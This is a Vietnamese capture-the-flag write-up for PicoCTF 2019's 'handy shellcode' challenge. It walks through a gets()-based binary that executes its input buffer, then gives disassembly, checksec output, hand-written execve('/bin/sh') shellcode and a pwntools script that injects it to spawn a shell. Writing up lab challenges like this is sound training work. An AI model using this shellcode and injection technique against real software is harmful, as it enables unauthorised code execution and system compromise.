handy shellcode PicoCTF2019
file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=7b65fbf1fba331b6b09a6812a338dbb1118e68e9, not stripped
Source code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
Ta nhận thấy là với hàm vuln với việc gọi đến gets cho phép ta thực hiện overflow
Hơn nữa ta phải xác định xem:
((void (*)())buf)();
rốt cuộc là gì?
Debug:
0x08048959 <+128>: push eax
0x0804895a <+129>: call 0x80502f0 <puts>
0x0804895f <+134>: add esp,0x10
0x08048962 <+137>: lea eax,[ebp-0xa0]
0x08048968 <+143>: call eax
0x0804896a <+145>: sub esp,0xc
0x0804896d <+148>: lea eax,[ebx-0x2dbc8]
0x08048973 <+154>: push eax
0x08048974 <+155>: call 0x80502f0 <puts>
0x08048979 <+160>: add esp,0x10
0x0804897c <+163>: mov eax,0x0
0x08048981 <+168>: lea esp,[ebp-0x8]
0x08048984 <+171>: pop ecx
0x08048985 <+172>: pop ebx
0x08048986 <+173>: pop ebp
0x08048987 <+174>: lea esp,[ecx-0x4]
0x0804898a <+177>: ret
Ta nhận thấy giữa 2 lần gọi puts thì xuất hiện việc call eax chắc hẳn đây chính là đáp án cho câu hỏi trên.
Tiến hành đặt breakpoint tại call eax
──────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────
*EAX 0xffffcf68 ◂— 0x636261 /* 'abc' */
EBX 0x80da000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
*ECX 0x80da227 (_IO_2_1_stdout_+71) ◂— 0xdb8700a
*EDX 0x80db870 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0x80481a8 (_init) ◂— push ebx
ESI 0x80da000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
EBP 0xffffd008 ◂— 0x0
*ESP 0xffffcf60 ◂— 0xf0
*EIP 0x8048968 (main+143) ◂— call eax
────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────
► 0x8048968 <main+143> call eax <0xffffcf68>
Thì ta nhận thấy nó call thẳng tới thanh ghi eax mà trong khi đó eax lúc này chứa chuỗi mà ta nhập vào.
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Với NX bị disable do đó ta có thể đưa shell code vào, để nó gọi ngay tới shell code của mình.
Ta tra bảng systemcall x86 32-bit và dùng tool để viết shell code, convert từ ASM => hex
Ta sẽ dùng systemcall : execve("/bin/sh")
Cụ thể như sau:
- EAX = 0x0b
- EBX = địa chỉ chuỗi "/bin/sh"
- ECX = EDX = 0
>>> import binascii
>>> binascii.hexlify(b"/bin/sh\0"[::-1])
b'0068732f6e69622f'
Với kiến trúc 32-bit:
xor eax,eax
add eax,0x0b
xor ecx,ecx
xor edx,edx
push edx
push 0x0068732f
push 0x6e69622f
mov ebx,esp
int 0x80
Exploit:
from pwn import *
r = process("./vuln")
#gdb.attach(r, api=True)
#print(r.recvuntil(b"shellcode:"))
payload = "\x31\xC0\x83\xC0\x0B\x31\xC9\x31\xD2\x52\x68\x2F\x73\x68\x00\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"
r.sendline(payload)
r.interactive()